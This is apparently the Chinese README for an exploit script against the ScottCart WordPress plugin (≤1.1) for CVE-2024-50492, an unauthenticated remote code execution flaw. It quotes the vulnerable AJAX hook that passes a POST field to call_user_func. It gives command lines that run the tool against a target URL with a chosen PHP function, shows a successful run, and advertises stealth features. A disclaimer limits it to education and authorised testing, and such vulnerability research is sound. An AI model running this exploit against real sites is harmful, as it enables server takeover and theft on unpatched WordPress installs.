🔥 ScottCart <= 1.1 漏洞利用脚本 - 未认证远程代码执行
🧑💻 作者:Nxploit – Khaled Alenazi
WordPress 的 ScottCart 插件(版本 ≤ 1.1)存在 远程代码执行(RCE) 漏洞。
该漏洞允许未认证攻击者通过存在漏洞的 AJAX 端点,在服务器上执行任意 PHP 函数。
该插件注册了一个未受保护的 AJAX 操作:
add_action('wp_ajax_nopriv_scottcart_load_function', 'scottcart_load_function_callback');
该操作会执行:
call_user_func($_POST['function']);
从而允许攻击者调用任意已存在的 PHP 函数,例如:
phpinfo()scottcart_get_the_user_ip()system() ← 如果修改版环境中存在phpinfo() 用于 PoCresults_2025-03-26_14-33-01.txt)User-Agent、错误处理及忽略 SSL,以实现隐蔽操作usage: CVE-2024-50492.py [-h] -u URL [-p PAYLOAD]
ScottCart <= 1.1 - Unauthenticated Remote Code Execution
By Nxploit Khaled Alenazi.
options:
-h, --help Show this help message and exit
-u URL, --url URL Target base URL (e.g., http://192.168.100.74:888/wordpress)
-p PAYLOAD, --payload PAYLOAD
Function to call (default: phpinfo)
phpinfo() 进行 PoC):python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress
python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress -p scottcart_get_the_user_ip
[+] Target URL: http://192.168.100.74:888/wordpress
[+] Payload Function: phpinfo
[*] Launching exploit...
[+] Sending payload: function=phpinfo
[+] Exploit successful! Output:
PHP Version => 8.1.12
...
📁 并保存至:results_2025-03-26_14-33-01.txt
此工具仅用于教育和授权测试目的。
请勿将其用于您不拥有或未经明确许可测试的系统。